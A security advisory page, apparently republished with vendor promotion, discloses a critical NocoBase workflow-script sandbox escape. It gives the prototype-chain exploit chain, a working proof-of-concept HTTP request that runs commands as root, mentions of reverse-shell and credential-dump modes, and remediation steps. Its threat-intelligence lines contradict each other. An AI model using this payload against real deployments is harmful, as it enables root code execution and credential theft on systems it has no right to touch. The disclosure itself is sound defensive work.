Open-Source Security Intelligence

Know every vulnerability
before it knows you.

DevGuard continuously monitors your dependencies and alerts you when CVEs like this one affect your stack — with real-time threat intelligence built for developers.

Checkout DevGuard View on GitHub

GHSA-px3p-vgh9-m57c

CriticalCVSS 9.9 / 10

Published Mar 30, 2026·Last modified Mar 31, 2026

Affected Components(0)

No affected components available

Description

## Summary

NocoBase's Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist (controlled by WORKFLOW_SCRIPT_MODULES env var). However, the console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr.

An authenticated attacker can traverse the prototype chain to escape the sandbox and achieve Remote Code Execution (RCE) as root.

Exploit Chain

console._stdout.constructor.constructor → host-realm Function constructor
Function('return process')() → Node.js process object
process.mainModule.require('child_process') → unrestricted module loading
child_process.execSync('id') → RCE as root

This completely bypasses the customRequire allowlist.

Impact

Remote Code Execution as root (uid=0) inside Docker container
Database credential theft (DB_PASSWORD, INIT_ROOT_PASSWORD from process.env)
Arbitrary file read/write via require('fs')
Reverse shell confirmed
Outbound network access for lateral movement

Proof of Concept

HTTP Request:

POST /api/flow_nodes:test Authorization: Bearer <JWT_TOKEN> Content-Type: application/json

{ "type": "script", "config": { "content": "const Fn=console._stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child_process');return cp.execSync('id').toString().trim();", "timeout": 5000, "arguments": [] } }

Response:

{"data":{"status":1,"result":"uid=0(root) gid=0(root) groups=0(root)","log":""}}

Environment

Docker image: nocobase/nocobase:latest
NocoBase CLI: v2.0.26
Node.js: v20.20.1
OS: Debian GNU/Linux 12 (bookworm)

PoC

Got reverse shell

Proof of concept the root privileges

os-release demonstration

App path

Exploit Usage:

Reverse Shell Mode

Dump system information & creds

Remote Command Execution Mode

Remediation

Replace Node.js vm module with isolated-vm for true V8 isolate separation
Do not pass the host console object into the sandbox; create a clean proxy
Run the application as a non-root user inside Docker
Restrict /api/flow_nodes:test to admin-only roles

Alternative Escape Vectors

console._stderr.constructor.constructor (identical chain via stderr)
Error.prepareStackTrace + CallSite.getThis() (V8 CallSite API)

Reporter

Onurcan Genç — Independent Security Researcher, Bilkent University

Risk Scores

Base Score

9.9

The vulnerability can be exploited over the network without needing physical access. It is easy for an attacker to exploit this vulnerability. An attacker needs basic access or low-level privileges. No user interaction is needed for the attacker to exploit this vulnerability. The vulnerability can affect other systems as well, not just the initial system. There is a high impact on the confidentiality of the information. There is a high impact on the integrity of the data. There is a high impact on the availability of the system.

Threat Intelligence

9.1

Active exploitation in the wild has been confirmed. Immediate patching or mitigation is required.

EPSS

36.50%

The exploit probability is moderate. The vulnerability is likely to be exploited in the next 30 days.

Exploit

Not available

We did not find any exploit available. Neither in GitHub repositories nor in the Exploit-Database.

Browse More

Critical severity

Scan your project

Continuously monitor your dependencies and get alerted when vulnerabilities like this one affect your stack.

Checkout DevGuard

Know every vulnerabilitybefore it knows you.